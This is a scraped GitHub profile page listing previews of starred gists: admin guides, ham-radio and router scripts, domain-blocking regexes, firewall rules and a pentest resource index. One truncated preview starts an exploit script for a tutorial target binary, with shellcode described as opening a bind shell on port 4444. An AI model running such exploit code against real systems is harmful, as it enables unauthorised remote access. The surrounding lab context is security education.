Skip to content

Instantly share code, notes, and snippets.

View 9M2PJU's full-sized avatar

9M2PJU

View GitHub Profile
@manero6
manero6 / sideload-magisk.md
Created September 21, 2023 13:29
Step-by-step guide on how I install Magisk using adb
@irazasyed
irazasyed / outbound-email-with-cloudflare.md
Last active November 15, 2024 22:45
Using Gmail SMTP with Cloudflare Email Routing: A Step-by-Step Guide

Using Gmail SMTP with Cloudflare Email Routing: Step-by-Step Guide

Learn how to send emails through Gmail SMTP with Cloudflare Email Routing in this comprehensive guide.

Step 1: Enable 2-Factor Authentication

To proceed with this method, ensure that you have enabled two-factor authentication for your Google account. If you haven't done so already, you can follow the link to set it up → Enable 2FA in your Google account.

Step 2: Create an App Password for Mail

@anthonydiiorio
anthonydiiorio / cty.sh
Created March 25, 2022 06:23
Update script for DX Spider Country Files
#!/bin/bash
echo 'Downloading CTY.DAT'
wget -q https://www.country-files.com/cty/cty.dat -P ~/spider/local_data/
echo 'Downloading WPXLOC.RAW'
wget -q https://www.country-files.com/cty/wpxloc.raw -P ~/spider/local_data/
echo 'Creating Prefixes'
~/spider/perl/create_prefix.pl
echo ''
echo 'Log into the cluster as Sysop and type: load/prefix'
read -n 1 -r -s -p $'Press [Enter] to login as Sysop...\n'
Blok Youtube Web
^.+(youtube).*$|o-o.preferred.pttelkom-|a.youtube.com|b.youtube.com|c.youtube.com|d.youtube.com|e.youtube.com|f.youtube.com| g.youtube.com|h.youtube.com|i.youtube.com|j.youtube.com|l.youtube.com”|googlevideo.com|(facebook.com).*$
Blok Youtube App
^.+(youtube.com|www.youtube.com|m.youtube.com|ytimg.com|s.ytimg.com|ytimg.l.google.com|youtube.l.google.com|i.google.com|googlevideo.com|youtu.be).*$
@tasdikrahman
tasdikrahman / irssi.md
Last active September 17, 2024 19:56
irssi cheatsheet
@jwalanta
jwalanta / OpenWrt detect new device and send text message.md
Last active October 21, 2024 17:19
Detect new network devices connecting to OpenWrt and send text message
@jivoi
jivoi / offsec.md
Last active September 20, 2024 07:23
Penetrating Testing/Assessment Workflow

Penetrating Testing/Assessment Workflow & other fun infosec stuff

https://github.com/jivoi/pentest

My feeble attempt to organize (in a somewhat logical fashion) the vast amount of information, tools, resources, tip and tricks surrounding penetration testing, vulnerability assessment, and information security as a whole*

@SimplGy
SimplGy / renameToHash.sh
Last active July 27, 2023 07:30
Rename files with a hash based on their contents. eg: `abc.jpg` to `3101ace8db9f.jpg`. Useful for detecting duplicates.
#!/bin/bash
# TODO: skip tiny files (so small they couldn't be photos)
# TODO: make sure sym links and other file system oddities are handled
# TODO: look at paralellization for perf boost
#
# Constants
#
CHAR_COUNT=12
BLOCK_COUNT=6
@superkojiman
superkojiman / serverstrcpy.py
Created October 31, 2016 03:37
Exploit for Server-Strcpy.exe in the Introduction to Pivoting series.
#!/usr/bin/env python
# Server-Strcpy.exe exploit by superkojiman
# http://blog.techorganic.com
import socket, sys
def main(target, port):
# 368 bytes, opens a bind TCP shell on port 4444
shellcode = (
"\xd9\xcc\xd9\x74\x24\xf4\x5b\xba\x69\xe4\x4d\x67\x33\xc9" +
#!/bin/sh
# block torrent traffic by iptable/firewall for VPN/Proxy server
# [email protected]
# Delete all existing rules
iptables -F
# Set default chain policies
iptables -P INPUT DROP
iptables -P FORWARD DROP